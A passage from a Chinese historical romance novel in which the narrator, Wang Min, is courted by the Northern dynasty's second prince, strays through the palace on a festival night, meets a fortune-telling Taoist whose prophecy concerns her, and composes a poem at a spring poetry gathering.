花样少年用手指抵唇,哄道:“好师妹,我今日来得匆忙,没带见面礼。你万不可和人说我来过这里。”果真是北朝二皇子,只是刘翀已过弱冠之年,没想却是这么一副后生的模样。看他的相貌,刘圭宠妃之绝色,已可想见了。
把书翻成这样,不想让人知道也难。“二殿下所为何来?”我问。
少年恼道:“躲个清净!都是那个老头子惹的事,我父皇春秋鼎盛,他却催着我父皇立嗣,父皇向来惹不起他,就迁怒于我,逼着我娶妃……庸脂俗粉,真是麻烦死了……人人都知道我不爱读书,不会有人知道我躲在这里。小师妹,你可万万不能出卖我,若是让父皇查抄了我的老窝,我可再也找不到比此处更好的藏身之所了……”少年似乎对他的计策颇为得意,看来他来这束高阁里躲清静,也不是一回两回了。
少年复又看着我,呵呵笑道:“老头子常说,书中自有黄金屋,书中自有千钟粟,书中自有颜如玉。我本不信他胡诹,黄金屋,千钟粟我生来就有,可这颜如玉嘛……”他环顾四周,藏书百城,“这颜如玉嘛,还真是要从书中求呢!小师妹,我还不知道你的芳名呢?”
“王敏。”我道。
他沉吟半刻,似有疑虑:“你……你是南朝王珲谢落之女?”
我想起先生出门前关照的话,忙道:“我哪有那种好命,不过恰巧与王谢之女同名。我只是一介孤女,幸得先生收留罢了。”我嘴上否认,心里却暗自纳闷:母亲名闻遐迩,若是有人提到她的名讳,倒也不足为奇,可北朝的二皇子又怎会知道我的姓名?
“王,王……”他又喃喃念道,“老头子之前也姓王,不知何故改了母姓,你你你,不会是他……”
“是什么?”我怒道,“先生既为二殿下的少傅,殿下就该以师礼相待,怎可左一句老头子,右一句老头子,更不可如此胡乱猜测!”
刘翀见状,生生将“私生”二字吞进肚里。“好凶的小师妹!”他也不恼,继续调笑道,“我也是为你好,你可有别的名字?这名字招祸,不然,我为你改一个。改姓刘可好?”
“我虽是女子,也知道祖宗之姓不可改,谁要姓刘!”
“谁说祖宗之姓不可改?我父皇也改了,你先生也改了。况且你是女儿家,早晚都要改夫姓的。”
这人好没羞,我说不过他,继续埋头拣书。“敏敏,你芳龄几何?”他又凑过来,和我一起拣书。
毕竟是皇子,我不愿冲撞他,退了几步躲开他,答道:“十六。”
“噫!老头……少傅不给你饭吃吗?哪像十六岁,不过十三、四吧?”
“殿下也不像二十。”少年似乎与我印象中的北朝皇子迥然不同,也许因为面善,我又以貌取人,故并不怕他。
他笑了起来,满面桃花:“我也恼自己这副长相,与人对阵,气势上就先输一截,军营之中,更是难以立威。如今才知道,老天爷给我这副长不大的皮囊,原是要我和师妹凑成一对的。若我长得像阿烈,那副少年老成的样子,怕是等到敏敏长大,站在一处倒像父女了。”
我的脸倏地就热了,膏粱子弟,飞扬
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浮躁。我绷着脸,道:“殿下既来此处躲清静,王敏就不叨扰了。”
我硬梆梆地朝他一福,转身要走,却被他拉住了手。大约是想挽留我,但还未等开口,脸上就起了疑。刘翀拾起我的左腕查看,我用了些力,把手抽出来藏进袖子里,道:“殿下不必看了,王敏左手有残疾。”
他又拽过我的手腕,我再想甩开他,却不能了。“外表倒看不出,是不能施力吗?”他问。
我点头道:“此手已是徒有其表,连握拳也不能。”
刘翀又笑,强拉着我坐在地上。我比不过他的力气,只好顺势矮身,险些扑到他身上。他将我扶稳,道:“敏敏可知道拳夫人?”我点头,他又说:“汉武帝巡狩河间,望气者言此处有奇女,此女子生来握拳,她的家人放话出来,有展之者即得其为妇。你道,别人掰不开的拳头,偏偏皇帝一去,就掰开了,这是何道理啊?这夫人十几年都攥着拳头,不会出汗吗?又洗不着,掰开的时候臭不臭啊?”他皱了一下鼻子,作出不可闻状。
这典故,也不知是他读来的,还是听来的,竟有此见解。我一笑,他更来劲了,牵着我的手不肯放:“故我比刘彻运气好,我寻到的是掌夫人。”说着从蹀躞带上取下一只玉钩放在我的掌心上。
刘翀的眼角眉梢都是桃花,让人疑心,大年初一就撞上了司春之神。我撇过脸去,右手取来玉钩塞还给他,他却不接。“谁要做这短命的夫人!”我嗔怒道。
才想起身跑开,又被他拽了回去。“什么短命?”他攒眉问道,桃花眼里瞬间就有了戾气。
我见地上一本《外戚传》,便拾起来扔到他怀里:“殿下自己去看吧。”
“敏敏,我最不爱翻书,我不闹你了,你与我讲讲吧。”他笑起来,又变得和颜悦色,拉着我坐下。
“拳夫人后来被汉武帝封为婕妤,备受宠幸,怀胎十四月,生下后来的汉昭帝。汉武帝想立其子为太子,借了个小过错就把拳夫人给处死了。可见,自古皇帝皆薄幸。”
刘翀挠了挠头:“这帮奴才,怎么没人和我说这段?白养了一群吃闲饭的人,竟没一个能说到重点。”语毕,又沉默下来,似乎颇为懊恼。
“该死!”他好像忽然开了窍,猛然站起来,破口大骂道:“要这老头子多事,敢和我父皇进这样的谗言!他怎知我想当皇帝?我刘翀自问,不敢比秦皇汉武,这辈子能有卫青、霍去病之功业,我愿足矣。汉人凡事以孝为先,德之本也,礼之始也,难道只是挂在嘴上说的?用我母妃性命换来的皇位,他怎知我能坐得安稳?老头子满腹经纶,书都读到哪里去了?”
他忿忿看向我,浑身散发出凛冽之气,仿佛春寒来袭,倒更有几分元烈的模样。随后,不置一词,大步出去了。束高阁里的九宫八卦阵,一时间,竟形同虚设。
刘翀走后,我忽然觉得书房黯淡。本想取簪子挑一下灯芯,才发现手里的玉钩还没有归还。
我将钩子塞进腰带,弯腰去拾地上的书,几乎每本页侧都有先生的墨迹。他的字越发嶙峋,撇如匕首,捺如横刀,看得人心惊肉跳。北帝二子,原来先生终究向着刘翀。只是这二皇子,似乎并不领他的情。
22. 第二十一章 误入单于宫
书架子上一本碑拓放得太高,我踮着脚尖伸手去够,还是够不着,只得嘟着嘴,想回头去找个胡床来垫垫脚。还未及转身,右肩上就多出一只手臂,替我取了下来:“敏敏可是要这本?”匆忙中撇见一眼,来人的手指纤长,手形极好。宝蓝色的锦缎窄袖包着手腕,袖口上绣着云纹,还镶嵌了几颗硕大的松石,这颜色将他的皮肤衬得愈加白皙光透。
不必转身,也知道是谁。心说,天色已晚,怎么又来了?“多谢殿下。”我还是给了个笑脸,欲从他的手里取书。他却捏着拓本不肯给我,自顾翻看起来。
“老头子这里的藏书浩如烟海,敏敏,你一整天也看不过百来十个字,这么些书,你要几辈子才能看得过来?女孩子青春宝贵,躲在这书房里岂不是白白辜负了大好的时光?也忒没意思了!以前我母妃想请老头子做我少傅,为我启蒙,可是费了不少周折。好不容易等到他点头,母妃还亲自带我上门拜师,可一进这束高阁,我就吓得逃了出来。这铺天盖地的书,我要读到哪辈子才能出师?害得我现在一看到书就觉得恶心。后来我跟着几位老将军去前线打仗,疆场纵有强敌百万,都有杀得尽的一天,只有这束高阁里的书,是万万看不到头的……”
我笑了起来,道:“殿下怎知我一天也看不过百来十个字?”今日我为一幅碑拓所迷,不知不觉真看了一天。
刘翀见我笑,愈加高兴起来:“我自然知道!我大早就来了,找了个书架子打瞌睡,见你进来,想着昨天也没和你招呼一声就走了,实在是我失礼,只怕敏敏今日不愿理我。想着要怎么和你说话,倒不觉就这样看了你一整天。”
我抬头看了看那几排快要触到房顶的书架,也不知道他是怎么爬上去的,只得调侃道:“殿下原来打梁上来,青春宝贵,您也真够没意思的!”我从他手里接过拓本,又问:“殿下今儿又是来躲清静的?初一到十五,皇宫里大宴连着小宴,那么多藩属之国前来朝贺,您身为皇子,倒没有正经事要做?”
刘翀笑得益发得意:“敏敏可真是心急,还没等过门,就急着相夫了?日后定是个贤妻!”
这人!你有没有事情做,与我何干?我拉下脸来,道:“殿下既是来躲清静,王敏就告退了。”
才要走,又被他拉住:“莫生气莫生气!敏敏贤良淑德,我日后都听你的。我这就要回去呢。”他嬉皮笑脸地说着,伸展手臂挡住了我的去路。我心下恼恨自己,色迷心窍,面对这样的春之少年,还真是很难板下面孔对他生气。
只见他垂下脑袋叹道:“我也知道,躲得过初一躲不过十五,藩属之国前来朝贺,晚上的筵席,还真是要回去的……老头子久不回家,大过年的,总不能留敏敏一个人过节,多凄凉……”见他越说越烦恼,忽又高兴起来,“敏敏随我一同回宫去吧,总好过一个人,闺房寂寞……”说罢,又将他那张冠玉般的脸凑到我面前,我只觉得半边脸儿一阵酥麻,那英挺的鼻尖几乎要触到我的耳垂了。
“王敏一介草民,见不得皇宫大场面。”我躲开他,恼怒起来,这是将我当成什么人了?
刘翀歪着脑袋,研究了一下我明显不悦的表情,突然认真起来:“敏敏可不是误会了?你是我真心想要的女人,我断不会不明不白就唐突你。若不是三茶六礼,明媒正娶,便是对你不公平!佳节思亲,以前我在外头打仗,最知道这样的滋味。团圆之日,老头子也在宫里,我只怕你一个人无聊,真心请你去赴宴的!”
见他急于表白,又一脸坦诚,倒显得我适才小器了。可一想到自己的身世,皇宫是非地,还是避而远之的好。我摇头道:“殿下既有要事,还是快快请回吧。王敏身份卑微,大内禁地,哪里是我能随随便便进去的。”
刘翀不理我的话,半让半拽将我推出门,“你是我请的客人,谁敢拦你?敏敏一去,准把那些藩邦公主都比下去!我带你去见我父皇母妃,省得他们再来逼我……”
我在书房里呆了大半晌,夏生不放心,提灯来寻。才要进门,就见刘翀拉着我从里面出来。“二……二殿下……”夏生吃惊不小,眼睛瞪得滚圆。
“快备车!”刘翀看也不看他,径直命令道。
“小……小姐……”
“你家小姐要进宫赴宴。”
“大……大人……”夏生一路追着我俩跑,结结巴巴连句整话也攒不出来。
“大人就在宫里,我会去和他去说。”
夏生不敢拦他,只得看着刘翀软硬兼施,一阵风火似的将我塞进马车。不管我再说什么,他只用一张骗死人不偿命的脸对着我笑,害我又不能真去恼他。
**********************************************************************
马车沿着长安大道一路进入宫门,大殿内外灯火如昼,内官婢女往来蹀躞。我透过车帘向外张望,不禁惆怅,一样的金壁辉煌、热闹非凡,只叹物是人非。昔日太极殿,已成单于庭。
刘翀扶我下车,几位公公趋步前来,躬身唤道:“二殿下,陛下找您多时了,快请入宴吧。”
“我母妃呢?”刘翀不看他们,拉着我径直往里走,“敏敏,我带你去见见我母妃,她定然喜欢你。”
“娘娘微恙,今儿晚上不能赴宴,陛下已恩准娘娘回宫歇息了。”为首的公公一路小跑,谨慎答道。
“病了?什么病?今早我去问安的时候,不是还好好的?”他猛然停下步子,我险些迎面撞上。
再看那些公公,一个个从容站定,怎么就能把这距离保持得将将好。“回殿下,太医已经去瞧过了,也没瞧出什么。娘娘说,许是这几天通宵达旦,又饮酒过多,需要好好休息。”
刘翀闻言,脸色才渐渐和缓,想拉着我继续往大殿走。我往后一退,这个人也太随性了,皇家国宴,他拖着我一个没品没阶的人进去,算是怎么回事?他没拉到我的手,回身犹豫了片刻,似乎也意识到自己莽撞。“罢罢,敏敏,我先带你去我母妃那里,回头我再来这儿露个脸,也算交代了我父皇的差使。你等着我,我一会儿就来陪你们说话。”
他执起我的手,欲往西宫去。为首的公公立刻挡下了他的去路,俯首道:“殿下,皇上派人找了您一整天了,天颜已有不悦,还是快快入宴吧。”
刘翀拉着我,面起难色。我本不愿入宫,被他强掳了来,才想说,还是让我回去吧,没想那宦寺看了看我,转着一对赤豆似得眼珠子率先开口:“殿下,这位姑娘暂且交给奴才安置吧……”谄媚之相,仿佛已经谙熟了主子的心意。
刘翀想了想,好像也没有别的办法:“这位姑娘你需好生安置,若有什么不周到,你可仔细了!”威胁完内官,又来哄我:“敏敏,你先随他去,我一会儿就来找你。”
我也无奈,只得点头。
刘翀走后,那宦寺立刻挺直了腰杆,上下打量起我。我仓促出门,也没来得及更衣,先生的书房尘多,故我平日里常穿着一身灰棉布的衣裙,乱头土脸,活像个烧火丫头。他抿着薄唇,唤来身边一位品阶较小的内官,扯着尖细的嗓子顿挫道:“去后头找间空屋子,带这位姑娘先候着,万不要被人瞧见了。若是宴后,二殿下忘了去领人,你可记得把她弄出去,哪儿来的,回哪儿去。”
小公公不及他老练,领了差使,畏畏缩缩走在前头。
一路斗折蛇行,似乎已经进入掖庭。他将我安排在一间空置的院落里,道:“咱家还有差使,姑娘就在这里侯着吧。万不能让别人瞧见你,小心拿你当了细
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作……”他横着手掌,在脖子上抹了一把,算作对我的提醒。我也不知要说什么,只好点头。他又朝四周看看,确定没人,才转身离开。
倒连灯也不给我留一盏,更别说是取暖的炭盆了。我搓着手在黑暗里坐了片刻,肚子就不争气地叫了起来,一整天都在束高阁里,现下真是饿了。又忍了许久,还是不见人。想着自己真是背运,何苦来哉!刘翀现下一定好吃好喝的,却把我弄来这里受冻挨饿,还混说是怕我佳节思亲。又想起那宦寺的话,可别几杯酒下肚,真把我忘在这里……心下越想越气闷,肚子就叫得更欢了。
我倚着门颓坐下来,清冷的月光透过窗纸撒在地上,一格格,规规整整,像长安城里密布的街坊。我细细回想马车行驶过的路线……那小公公又是如何带我进来的……记不太真切了,但太极殿高大,我朝着那个方向走,总不会有错。宫中大宴,人来人往也多,不会注意到我。若是真被人拦下,我就抬出白石先生。先生在宫里也有下榻处,夏生为他送东西进来过几回,我只说是大司马府里的丫头,真要是把我扭送到先生那里,他也好来为我作保。等出了宫门往右,便是西市……
盘算停当,便起身推门,蹑手蹑足出了院子,只见四周高墙林立,檐牙参差,我茫然四顾,才发现自己真真失策。但我既然决定要走,就万万没有回头的道理,大不了撞见守卫,把我绑去先生那里对质好了。我下定决心,抬头辨了辨北辰星的方位,便往南去了……
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一路上倒也没有撞见什么人,可这宫廷之中,越是清静的地方就越是让人心生畏惧,我疑似走错了方向,这下子更是出不去了。正在心焦,忽见不远处有座凉亭,里面端坐着一名华衣女子,刚才只顾着脚下的路,不觉已经离她很近了。我吓了一跳,赶忙闪身躲入一旁矮树丛中。好在她看上去心事重重,并未发现我。
透过树叶的缝隙再看,我不禁倒吸了一口冷气,错打错撞,难不成误入瑶池深处?南谢北杜皆已作古,除了九天仙女,谁还会有此国色天姿?难道这就是传闻里的拓拔王妃?只是刘翀之母已年逾不惑,便是年轻的时候能媲美我的母亲,现而今,也不该如此这般,不着一点岁月的痕迹。
可除了她,似乎又不能再做第二人想。
冷月如霜,宫树低垂,美人愁绝。我又一转念,王妃不是抱恙在床,怎么会出在现在这里,身边却连个伺候的宫女也没有?面颊上两行清泪,又是为谁而流?
正在疑惑,忽听她抬头唤了句:“阿烈,是你来了吗?”
她在唤谁?我循声望去,更是惊得张大了嘴,一身玄色的紧身胡服,更衬得那人蜂腰猿背。来人正是元烈!高墙大院,他还真是进出自若。我就说这身胡服打扮,最适合做贼!
只见他三步并做两步,伏跪到女子面前,平日里一张冰块脸,瞬时都化作了春水。女人情深款款,将他的头压在胸前,用唇来回摩娑他的头发。那两行热泪,更如泉涌。
两人首首相抵,低声细语,说了什么,听不真切。
已有眼见为凭,也无需再听。我只在心中大呼苍天,这贼原来是个采花贼,以前真是错看了他!不觉心中升腾起一阵莫名的恼怒,倒是比吃惊来得更甚。
好不容易稳住心绪,想着快快离开此等是非之地。可越是想着小心,脚下就越不小心,也不知踢到什么,弄出了动静。我慌忙回头,只见元烈的目光已经追杀过来,一双绿眸顷刻间化作寒潭,冷浸星月,杀机毕现!
四目相对,我确定他是看见我了。
我也顾不得许多,横下一条心,返身就往外跑……
23. 第二十二章 良禽择木栖
一气跑出好远,才发现并没有人追来。我按住突突乱跳的胸口,沿着墙根慢慢往前摸索……总算出了掖庭,眼前就是太极殿,待我辨清方位,也顾不得有没有人看见,逃命似得就往长乐门跑……
“还阳道”近在眼前,只差一点儿就能逃出生天,却在此时被人一把拦下。那人捏着我的手臂将我拽到胸前,我吃痛地“咝咝”几声,方才看清,拦下我的是一个白发银须的老道士。
几名内官从四处围拢过来,恭敬唤他“袁真人”,看样子是个身份尊贵的人物。那真人也不放开我,只将拂尘掉了个个儿,单手还了一礼。内官们又看向我,我只得眨着眼睛,佯作无辜,将刚才想好的说辞又在心里回味一遍,只等着他们上前来盘问。没想那真人却示意内官,我是他带进来的人。宦寺们虽有好奇,也不敢多问,四散退去了。
我正在纳闷,这道士为何要替我解围?他抓着我的手却陡然加了一把力道,沿着我的上臂一直掳到手腕,骨头都要被他扯断了。我歪着嘴,“嗷嗷”叫了几声,只差没落下眼泪来。还未等我缓过劲,他率先开口道:“姑娘,可是王敏?”我更为吃惊,他怎么认得我?那真人见我有所迟疑,捻须笑道:“统武元年七月十五,贫道在建康城里相过一个女婴。”
北朝的统武元年,正是南朝的建兴元年。我出生那日,大伯的确请过一个宫中术士来看,难道就是此人?可单凭十六年前的一面,他今日还能认出我来?我暂压下心中疑惑,直觉否认道:“道长认错人了,我只是叶大人家里的丫鬟,进宫来给大人送些日常所用的东西,这就要回家……”话音未落,肚子偏偏又不争气地咕噜起来,我只得干笑两声,“……这就要回家吃饭呢。”
他眯着眼睛看我:“贫道不会认错人,姑娘面相尊贵,天下再无第二人。今日皇宫紫气甚浓,必是帝王星现。贫道匆忙前来,就是为见真龙,没想遇见姑娘了。”现如今的我,哪里还尊贵?这道人也真会胡诹。他拽着我的手却始终不放,欲拉着我往里走:“今日宫中大宴,四方来贺,真龙必定就出现在这太极殿内。姑娘既然出现在此处,就随贫道一起进去吧。”
我才不要!好不容易逃到这宫门口的,要是再被掳回去,岂不是功亏一篑。什么真龙,我又不希罕。我抖了两下手臂,欲将他挥开:“道长真是认错人了,我就是一个小丫头,哪有什么龙啊凤的,我真是要回去了。”打死不承认,他也没有办法。
那道长上下打量我,又抬头观星许久,叹息自语:“难道贫道终是无缘得见?”他终于放开我,侧身抬手,恭谨道:“姑娘,请吧。”
我舒了一口气,跑出了长乐门,直往白石草堂去……
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夏生在窗外唤我,我迷迷登登从被子里探出头来,真恨不得只是一场恶梦。“小姐,二殿下来找您,在厅堂里候着呢。”夏生在窗台下又连唤数声。真是跑得了和尚跑不了庙,我无奈应了一声:“请殿下稍坐,我这就来。”
万般不情愿地从被子里爬出来,举头见明月,窗棂被照得透亮,像是结了一层白霜。也不知道是什么时辰了,只觉得浑身发冷,又裹了件斗篷,才推门出屋。夏生只披了件袄,在门外冻得搓手顿脚,见他一脸的倦怠,必定也是被人从睡梦中吵醒的。我揉了揉眼睛,问道:“小哥哥,这是几更天了?”
“三更,宫里的宴才散。”嬷嬷屋里的灯已经熄灭,想是睡得正熟,我做了个噤声的手势,示意夏生不要惊动她。
提着裙子随他出了桃园,绕过廊屋,远远就看见刘翀在厅堂里转圈。他见我前来,面露欣喜,直奔过来抓着我的手:“敏敏回来就好!我来得晚了,只因有些事情耽搁。那帮奴才敢如此待你,看我回去不剥了他们的皮!”
“殿下,是王敏等得急了,才不告而别的。你万勿怪罪那公公,倒是我的不是。”我忍着哈欠答道。看那宦寺的衣着,品阶不小,刘翀可别再把这件事情闹大,回头再牵连出拓拔王妃……那可就得不偿失了。还有那个什么真人的,我是一个也开罪不起。如今寄人篱下,还是安分守己的好,不但为我自己,也为了先生。
“敏敏不必为他们开脱,这帮奴才狗仗人势,我早就看他们不惯了,回头我定为你出气的!”
“殿下真要为我好,还是将此事忘记吧。是王敏福份薄,入不得宫,也近不得天子身。”
刘翀好像不在听我说话,只拉着我的手侧着脑袋想事:“敏敏,你今日在宫里可是遇见过一个道士?”我点头。他又说:“那江湖术士若是和你说了什么,你也不必当真,今日他在殿上出言不逊,我父皇已将他赶出长安城了……敏敏,我是真心喜欢你的,断不是因那老道的预言……况且,你也不是南朝那个王敏。”
我抬眉,表示不解。刘翀好像急于向我表白:“那老道是几年前从南朝来的,对我父皇说,长安有天子气。这不是废话吗?我父皇笃信佛教,又以为他溜须拍马只为混口饭吃,故并不听信他。本想打发走的,那时我刚开府不久,正大肆招揽门客,心说也不差那么一个……鸡鸡狗狗的……”刘翀举起马鞭子使劲挠了挠头。
“鸡鸣狗盗。”我替他说道。
“对,鸡鸣狗盗。反正也不差一个吃闲饭的,就让他在我府里待下了。那道士又说,他曾在南朝相过大名鼎鼎的南谢之女,和你一样,也叫王敏。他说此女安,安什么吉……”
“安贞之吉,应地无疆。”此乃坤卦,那老道批的爻辞,六叔曾和我提过。
“对,敏敏真是渊博!到底是老头子教出来的。”刘翀又道,“……那道士说,此女必将母仪天下,德化万方,成为天下女子之至尊。言下之意,若是谁想当皇帝,就必先娶到那王敏为后了……如今南朝那个王敏恐怕早就死在司马映的手里了,还说什么母仪天下,更别说‘御驭神州者,唯其子也’这样的浑话了。老道信口开河,全是胡说的,敏敏可别当真了。我就是连太子位都不希罕,我刘翀要你,是因为真心喜欢你,断不是因那谶言……
敏敏,你信我!那帮阉竖,我定不饶他们。那道士……还有我养着的一帮游手好闲的食客,回头统统打发了。我不爱读书,故养了这么一群读书人,素日里好吃好喝地供奉着,心想着如果他们能为我所用,就等于我自个儿读了一肚子的书,没想都是些废物!平日里看他们讲起话来滔滔不绝,写起文章来洋洋洒洒,一个个引经据典,附庸风雅,俨然都是惊世鸿儒了。关键时候,无人能出一策倒也罢了,还就会胡说八道给我惹事!”
只见刘翀越说越急,越说越恼,我只怕他脾气一上来就真要闹出事情,只得好言劝慰道:“殿下,王敏说了,不告而别是我的不是,万勿怪罪那些公公们。至于那道长,王敏只在宫门口匆匆见了一面,有人要上前盘查,还是他替我遮掩过去的。殿下刚才说的,那道长可是一样也没和我说。”
刘翀又挠头,丧气道:“我说了便说了,这事我本不想瞒你。那老道成天胡说八道,还真有几件事让他蒙对的,故他这番话也有不少人相信。我只怕哪日让你听见,还以为我接近你,是另有所图呢!”
“王敏这名字普通,哪里还找不
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出一两个来。南朝王敏已死,别人总不能因为一个名字就上赶着娶我回家,他要说便让他说吧……殿下,时候不早了,还请回去吧。”我又忍下一个呵欠,鼻子一阵酸。
他却还没有要走的意思,深更半夜,没话找话:“说起那帮门客,偏是我最想请的人请不到……”刘翀闲嗑的兴致不减,可怜我又不是真的狸奴,晚上不用睡觉。“他就住在白石草堂隔壁,姓元名烈,敏敏可认得?”我一听这个名字,不由得一个冷战,那双无情的绿眸又出现在我心里,那眼神,分明就是要至人于死地……
我不语,刘翀继续说道:“为请他,别说是三顾茅庐,就是三百顾也不止。前几天我本来是想去找阿烈的,没想他不在府上,我这才转悠到老头的书房里来,碰见了敏敏……想来也不能全怪他,阿烈不是凡鸟,不屑与我养得一群燕雀为伍。凡是好鸟,都选高枝栖……我就说那帮人不能留,只会坏我这棵树!”
听他对元烈啧啧称颂,不由得让人想起他那副采花贼的样子,那双眼睛越是柔情似水,我就越觉得怒不可遏……内心似乎还有某处,酸酸楚楚的,像是打翻了五味瓶子。元烈不是凡鸟,可也不见得是什么好鸟,你这棵树,没有他,才最好!
今晚的记忆不甚愉快,夏生抱着双臂蜷缩在门外,我也只想早点回被窝里睡觉。我垂下眼皮,掩嘴打了个大大的呵欠。刘翀见状,忙道:“看我,一见到敏敏就像有说不完的话,敏敏快去休息吧,我改日再来看你!”
夏生闻言,忙不迭进屋来送客。我与他将人送至大门口,隔壁元府还是大门紧闭,不像有人回来过。
**********************************************************************
打那以后,刘翀三天两头就往白石草堂跑。来得次数多了,也瞒不过先生去。
我后来听先生说,那日盛筵,袁真人不请自来。他一路直闯太极殿,嚷着帝王星现,要见真龙。北帝震怒,命人把他拖出去,轰出了长安城。因他是二皇子府里的人,刘翀也跟着挨了一顿罚。
我见他说起此事时,不断沉吟,便问:“先生难道也相信这种无稽之谈?”
他摇头道:“是不是无稽之谈,我就不知道了。十六年前他见过你一面,那时你尚在襁褓,可如今,他还是能一眼将你认出,却是事实。……真龙出现在太极殿?”先生又是一阵沉默,许久,喃喃说道:“那日有不少藩属之国前来朝贺,派来出使的人年年都来,唯有……唯有小代国,原本该是代国太子前来,可代国太子就在出发前不久,莫名猝死在宫中了。皇长子拓拔宇,倒是头一次来……难道……”
“先生睿智,怎会作出这样无凭无据的推测?泄露天机者可是要折寿的,故自古下谶言者必闪烁其词,哪有他这样大吵大嚷的?可见这道士之言,并不可信!”
先生道:“泄露天机者要折寿,狸奴以为那袁道长多大年纪了?”
“看他鸡皮鹤发,已过古稀了吧?”
先生摇头:“那袁道长不过三十来岁……据闻,他出生前夜,其母梦见一座高山,恰逢地动,从山顶上依次滚落八匹石马,第九匹却是一头独角石牛。第二日诞下一子,便是袁道长,他生来就会说话,一出人世,说的第一句话便是‘马后有牛继’……当时有人说,八匹石马可能预示着司马氏国祚八世,但武帝是雄猜之人,还是为此杀死了牛姓宰相。现如今看来……那八匹石马或许说的是晋室八王之乱……只是这牛……”
我原本不信术士之言,但……牛生独角,难不成是“兕”?
24. 第二十三章 禊日吟灞桥
每隔七日,西市药铺还是不间断地有人来送药。我曾经问过送药的伙计,近来是否有人前去改过药方,但那伙计说,这药是好几个月前就订下的,一直就照着原来的方子在抓,并不曾有人改动过。又说,他家掌柜也精通医理,还夸赞过元公子开的这贴药,调理女子体虚是再好不过的,请我只管放心地喝。一日两盏,这药就喝到了三月。
踏青时节,北帝在灞水之上设立画舫,办起了诗会。刘翀说,长安水边丽人多,让我也出去走走,不要老是闷在草堂里。女孩子就像花,总是不见太阳,又怎么会开得好?还说,灞桥诗会拓拔王妃也会去,他已禀告母妃,说是大司马府里有位相中的姑娘想要娶回家,王妃特地派人来草堂下贴,邀我前去参加。
三月三日天气新,我在铜鉴前整装以待。嬷嬷坐在门边,眯起眼睛满意地看着我,清晨柔软的阳光铺洒在她身上,让她看上去迟缓而安祥。“小姐,下棋去啊?”
“作诗去!”我提高了嗓门冲她喊道。
她自顾点头,开心地笑起来,过了很久,又说:“好,好,下赢了早点回来……”
刘翀亲自驾着牛车来接我出门,上车之前,撇见隔壁元府大门洞开,院子里的杂草窜得老高,看门的老奴正在修剪。
牛车行至灞水岸,一艘小船载着我们往一队争奇斗丽的系彩画舫去。雕栏玉砌,簇乐红妆,缤纷缭乱之中,还是能一眼看见拓拔王妃,她在宫娥簇拥下,端坐在船头之上。青玉其骨,冰雪其肤,绿柳其态,寒月其神,所谓佳人,宛在水中。
我定了定心神,王妃请我前来,逃避也不是办法,总要听她说些什么才好。刘翀偷偷拽了拽我的手,俯身说道:“我母妃性情和婉,敏敏不必紧张。丑媳妇才怕见公婆,你又怕什么?”
说话间,画舫上就有几名内官跑来钩船。有人想上前扶我,被刘翀一手拍开,双掌握住我的腰,一把将我托上了船。刘翀自己却不上来,对我道:“敏敏,我不能陪你,你好好陪着我母妃说话,她定然喜欢你。”我环顾四周,原来这艘船上皆是女眷,男子是不能上来的。皇后不在,便以王妃为首,坐在正中。我向他点头,他眉开眼笑朝我招了招手,小船又载着他往更大一艘挑着黄龙旗的画舫去了。
王妃身边跑来一个梳着望仙髻的伶俐宫人,招呼我过去。我又回头看了一眼那驶开去的小船,便尾随那宫娥往船头去了。
说起来,刘圭作为一国之君,也算专情,后宫之中不过一个皇后,一个王妃。皇后不在,今日便由王妃为首,画舫之上除了内侍宫娥,便是皇亲贵戚家的夫人小姐们。一路行来,有不少人窃窃私语。有的说,皇上虽然不反对胡汉通婚,但未必能做上正主,左不过封个侧室;又有说,容貌尚可,再熟透些,狐媚样儿就出来了。还有说,比哪国公主,哪家小姐如何如何……我佯装看不见几个年轻女孩的白眼,倒不知这二殿下,原来如此吃香。
行至王妃面前,才要下跪拜见,她便道:“王姑娘,不必多礼了。”我半屈着身子,倒是跪也不是,不跪也不是。王妃跽坐起来,伸手越过书案,拉着我到她身边入座。共用一张金丝席,我是万分的不习惯,低着头尽量往后蜷缩,不敢触碰到她。
“你叫王敏?”她问,声音甚是温软。
我点头。抬首时偷睐了一眼,确实美得动人心魄,可是因为离得太近,还是能看见她眼梢的细纹。王妃的粉覆得很薄,笑起来眼睛依旧弯得像新月,很少有女人面对年龄时还会这样豁达。因她的自然不造作,我似乎对她有了一些好感。
她很和蔼地招呼我吃瓜果,又领着大家作诗。说是作诗,倒不如说是背诗。北帝虽然倾心汉化,但匈奴人入主中原的时间必尽有限,便是这些贵族的妇人们,也还有不少是不识字的。面前的书案少有纸笔,放得多是瓜果蜜饯,大家只是尽兴地游乐赏春,偶尔迸出几句打油诗,也不拘泥于平仄。
倒是王妃,文章锦绣,字也写得好。
作罢几首新诗,她从匣子里取出一张灞桥纸,因是蔡伦所制,在南朝又称为“龙亭”。那日我去晴雨轩订货,还未等这纸送上门,便伤了手。王妃将纸铺展在我面前,柔声说道:“王小姐可有诗兴?也来作一首吧。”
我接过笔,略略思索。抬头见灞水两岸绿柳依依,一座木桥如长虹卧于波上,正是传闻中的灞桥。因几位诗人,几番别离皆在此桥,此桥便以诗意别情出了名。以致于长安城里附庸风雅的人,非要骑着毛驴到桥上走一遭才能出诗,又非要在岸边折一枝柳条相赠才算是别离。加上今年又举办皇家诗会,桥上岸边更是人山人海,驴唇对着马嘴。
眼前人头攒动,我心里又存着事,实在是了无诗兴。想起每年上巳,吉光雅园中都会举行曲水流觞诗会,顾先生才思如泉涌,年年都是他夺得诗魁。先生诗兴来时,便是厕上都出佳句……想起先生自己总是不肯动笔,每每作诗都要拉着我为他誊录……手里捏着笔,真是好久也没有写字了……又想起桃叶渡口,执手惜别,牧哥哥伫立船头,絮姐姐折柳相赠,才子佳人,天各一方……南人楫舟,北人架桥,诗意别情总关人心,又岂出灞桥?
提笔许久,一滴墨落到雪白的纸上,慢慢渗透晕染……那是极熟悉的感觉,仿佛寒冰,经一度春风,便渗进了冻土。我的笔尖追随墨点而下,三月初三祓禊日,本只想默写一遍先祖的《禊贴》,以应此时此景,却不料,下笔便成一阙短歌。
月明星稀,乌鹊南飞。绕树三匝,何枝可依?山不厌高,水不厌深。周公吐哺,天下归心!
右手手拙,又久未提笔,笔法上略显粗糙,但这阙短歌不知何时已融入我的心脉,笔到心到,如行云流水,一挥而就。倾泻纸上的仿佛不是浓墨,而是鲜血;仿佛不是文字,而是胸臆。
